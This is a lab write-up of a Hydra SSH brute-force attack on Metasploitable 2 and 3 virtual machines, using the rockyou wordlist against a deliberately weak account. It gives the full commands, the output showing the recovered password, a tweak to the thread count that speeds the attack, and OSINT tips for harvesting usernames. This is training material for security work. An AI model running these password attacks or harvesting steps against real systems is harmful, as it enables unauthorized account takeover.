

Title: Hydra Hydra Brute Force Attack on Metasploitable 2 & 3

Name: Rafik Tarbari

Date: November 10, 2022

## Hosts:

- Metasploitable 2: [REDACTED]
- Metasploitable 3: [REDACTED]

## Adding New User Accounts:

In each of the metasploitable virtual machine, we add new user “cyberraf” with a weak (easy-to-guess) password “chloe”

The commands are the following:

```
sudo adduser cyberraf ← creates new user with username “cyberraf”
```

We are prompted to enter password, we type “chloe” (which is a password found in /usr/share/wordlists/rockyou.txt.gz )

## SSH in Metasploitable 2 and Metasploitable 3

After solving the issues of ssh-ing in the VMs, we successfully get in each of them by ssh-ing.

```
(kali@kali-ws)-[~]
└─$ ssh cyberraf@[REDACTED]
cyberraf@[REDACTED]'s password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Thu Nov 10 07:20:21 2022 from [REDACTED]
cyberraf@metasploitable:~$
```

Fig1. ssh in metasploitable 2

```
(kali㉿kali-ws)-[~]
└─$ ssh cyberraf@██████████
The authenticity of host '██████████ (██████████)' can't be established.
RSA key fingerprint is SHA256:rgEWOyEykjv6EF4+EeeOwQ7i4nsgrgyNhZoFtFvMbV4s.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '██████████' (RSA) to the list of known hosts.
cyberraf@██████████'s password:
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64)

 * Documentation:  https://help.ubuntu.com/
cyberraf@metasploitable3-ub1404:~$
```

Fig. 2 ssh in metasploitable 3

**Using Hydra Brute Force**

Metasploitable 2:

As we can see in Fig. 3 below, running the following command launches the brute force attack on metasploitable 2.

```
sudo hydra -l cyberraf -P /usr/share/wordlists/rockyou.txt.gz -t 6 ssh://██████████
```

```
(kali㉿kali-ws)-[~]
└─$ sudo hydra -l cyberraf -P /usr/share/wordlists/rockyou.txt.gz -t 6 ssh://██████████
[sudo] password for kali:
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-10 07:20:28
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous s
ession found, to prevent overwriting, ./hydra.restore
[DATA] max 6 tasks per 1 server, overall 6 tasks, 14344399 login tries (l:1/p:14344399), ~2390734 tries p
er task
[DATA] attacking ssh://██████████/
[STATUS] 78.00 tries/min, 78 tries in 00:01h, 14344321 to do in 3065:02h, 6 active
[STATUS] 56.00 tries/min, 168 tries in 00:03h, 14344231 to do in 4269:07h, 6 active
[STATUS] 52.29 tries/min, 366 tries in 00:07h, 14344033 to do in 4572:20h, 6 active
[STATUS] 50.80 tries/min, 762 tries in 00:15h, 14343637 to do in 4705:56h, 6 active
[22][ssh] host: ██████████ login: cyberraf password: chloe
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-10 07:39:10
```

Fig. 3: metasploitable 2

The attack runs from 7:20:28 to 7:39:10 which is approximately **19 min.**

Metasploitable 3:

As we can see in Fig. 4 below, running the following command launches the brute force attack on metasploitable 3.

```
sudo hydra -l cyberraf -P /usr/share/wordlists/rockyou.txt.gz -t 6 ssh://██████████
```

```
(kali㉿kali-ws)-[~/etc/ssh]
└─$ hydra -l cyberraf -P /usr/share/wordlists/rockyou.txt.gz -t 6 ssh://[REDACTED]
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-10 07:01:01
[DATA] max 6 tasks per 1 server, overall 6 tasks, 14344399 login tries (l:1/p:14344399), ~2390734 tries
per task
[DATA] attacking ssh://[REDACTED]
[STATUS] 66.00 tries/min, 66 tries in 00:01h, 14344333 to do in 3622:19h, 6 active
[STATUS] 52.00 tries/min, 156 tries in 00:03h, 14344243 to do in 4597:31h, 6 active
[ERROR] Can not create restore file (./hydra.restore) - Permission denied
[STATUS] 43.71 tries/min, 306 tries in 00:07h, 14344093 to do in 5468:53h, 6 active
[STATUS] 44.40 tries/min, 666 tries in 00:15h, 14343733 to do in 5384:18h, 6 active
[22][ssh] host: [REDACTED] login: cyberraf password: chloe
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-10 07:22:13
```

Fig. 4: metasploitable 3

The attack runs from 7:01:01 to 7:22:13 which is approximately **21 min.**

### How to Accelerate the Speed of the Attack

We can accelerate or decelerate the speed of the attack by changing the flag -t.

```
(kali㉿kali-ws)-[~]
└─$ sudo hydra -l cyberraf -P /usr/share/wordlists/rockyou.txt.gz -t 12 ssh://[REDACTED]
[sudo] password for kali:
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-10 09:05:45
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tas
ks: use -t 4
[DATA] max 12 tasks per 1 server, overall 12 tasks, 14344400 login tries (l:1/p:14344400), ~1195367 tries
per task
[DATA] attacking ssh://[REDACTED]2/
[STATUS] 132.00 tries/min, 132 tries in 00:01h, 14344270 to do in 1811:09h, 10 active
[STATUS] 84.00 tries/min, 252 tries in 00:03h, 14344150 to do in 2846:04h, 10 active
[STATUS] 87.43 tries/min, 612 tries in 00:07h, 14343790 to do in 2734:23h, 10 active
[22][ssh] host: [REDACTED] login: cyberraf password: chloe
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-10 09:16:55
```

Fig. 5: metasploitable 2

The attack runs from 9:05:45 to 9:16:55 which is approximately **11 min.** So, increasing the value of the flag -t from **6** to **12**, reduced the run time of the attack from **19 min** to **11 min**.

### Other Protocols other than SSH

- FTP
- FTPS

- TELNET
  - SMTP: Simple Mail Transfer Protocol
  - PostgreSQL
  - HTTP → GET/HEAD/POST
  - IMAP
- If I knew a common password, I can easily add it to the /usr/share/wordlists/rockyou.txt.gz file by using **vi** (Fig. 6).

```
(kali㉿kali-ws)-[~]  
└─$ sudo vi /usr/share/wordlists/rockyou.txt.gz
```

Fig. 6

In Fig. 7, we can see that the common password “rafik” has been added successfully.

```
rafik  
123456  
12345  
123456789  
password  
iloveyou  
princess  
1234567  
rockyou  
12345678  
abc123  
nicole  
daniel  
babygirl  
monkey  
lovely  
jessica  
654321  
michael  
ashley  
qwerty  
111111  
iloveu  
000000  
michelle  
tigger
```

Fig. 7

To get the list of user names,

- If we have access to the system, we can look into the /etc/passwd file (Fig. 8)

```
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
sshd:x:103:65534::/var/run/ssh:/usr/sbin/nologin
statd:x:104:65534::/var/lib/nfs:/bin/false
vagrant:x:900:900:vagrant,,,:/home/vagrant:/bin/bash
dirmngr:x:105:111::/var/cache/dirmngr:/bin/sh
leia_organa:x:1111:100::/home/leia_organa:/bin/bash
luke_skywalker:x:1112:100::/home/luke_skywalker:/bin/bash
han_solo:x:1113:100::/home/han_solo:/bin/bash
artoo_detoo:x:1114:100::/home/artoo_detoo:/bin/bash
c_three_pio:x:1115:100::/home/c_three_pio:/bin/bash
ben_kenobi:x:1116:100::/home/ben_kenobi:/bin/bash
darth_vader:x:1117:100::/home/darth_vader:/bin/bash
anakin_skywalker:x:1118:100::/home/anakin_skywalker:/bin/bash
jarjar_binks:x:1119:100::/home/jarjar_binks:/bin/bash
lando_calrissian:x:1120:100::/home/lando_calrissian:/bin/bash
boba_fett:x:1121:100::/home/boba_fett:/bin/bash
jabba_hutt:x:1122:100::/home/jabba_hutt:/bin/bash
greedo:x:1123:100::/home/greedo:/bin/bash
chewbacca:x:1124:100::/home/chewbacca:/bin/bash
kylo_ren:x:1125:100::/home/kylo_ren:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
avahi:x:107:114:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
colord:x:108:116:colord colour management daemon,,,:/var/lib/colord:/bin/false
cyberraf:x:1000:1000,,,:/home/cyberraf:/bin/bash
```

Fig. 8: /etc/passwd

- If we do not have access to the system, we can use OSINTs like
    - checkusernames.com
    - Knowem.com
    - nameck.com
- Or check on company’s website to find organization email directory